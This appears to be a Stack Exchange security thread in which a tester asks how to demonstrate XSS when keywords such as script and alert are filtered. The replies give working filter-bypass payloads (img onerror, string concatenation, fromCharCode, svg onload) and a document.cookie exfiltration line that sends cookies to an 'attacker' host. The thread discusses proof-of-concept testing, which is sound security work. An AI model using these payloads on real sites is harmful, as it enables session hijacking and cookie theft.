I have come across a field that is vulnerable to XSS. It accepts and tags however keywords script,alert, msgbox, prompt are blocked. I have tried every encoded version of these keywords but its not working.

Is there any way that i can show a POC (XSS popup) without using the above keywords.

I successfully injected a frame and cookies are also not HTTP-only.

  • Nope..its blocked... used the following script "/><img src=x.gif onerror=confirm(1)>
    Jul 17 '13 at 13:11
  • What if you segment the function name as concatenated strings in bracket notation, e.g., onerror="window['al'+'ert'](1)"? (The strings could optionally be stored in variables.) Or is the alert function itself somehow disabled or overwritten? (In that case, delete window['al'+'ert'] should restore it in most browsers.)
    – apsillers
    Jul 17 '13 at 13:18
  • conactenation doesnt work..i didnt get the delete window part
    Jul 17 '13 at 13:24
  • Hey, i did it just some more help... i loaded a localhost with script embedded in iframe... how can i access the parent cookie from the loaded iframe.
    Jul 17 '13 at 13:30
  • An attacker would want his attack to be as unnoticeable as possible. An alert is pretty much the worst choice when trying to be unnoticed as it literally jumps into the victim’s face.
    – Gumbo
    Jul 17 '13 at 16:49

No attacker will ever use alert(), checking for this within an attack string is more than just a waste of time, it shows that the developer doesn't understand how software is attacked.

You could show a real world attack, where you read a CSRF token or the document.cookie value:

document.write("<img src=http://attacker/cookie_theif?c="+document.cookie+" />")

You could also rewrite the page, this could be used to turn the page into a phasing page:

<img src=x onerror=confirm(String.fromCharCode(88,83,83))>

If the site use SVG as images you can use this one:

<svg onload=prompt(1)>

No <script>, alert, msgbox, and or prompt word needed.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.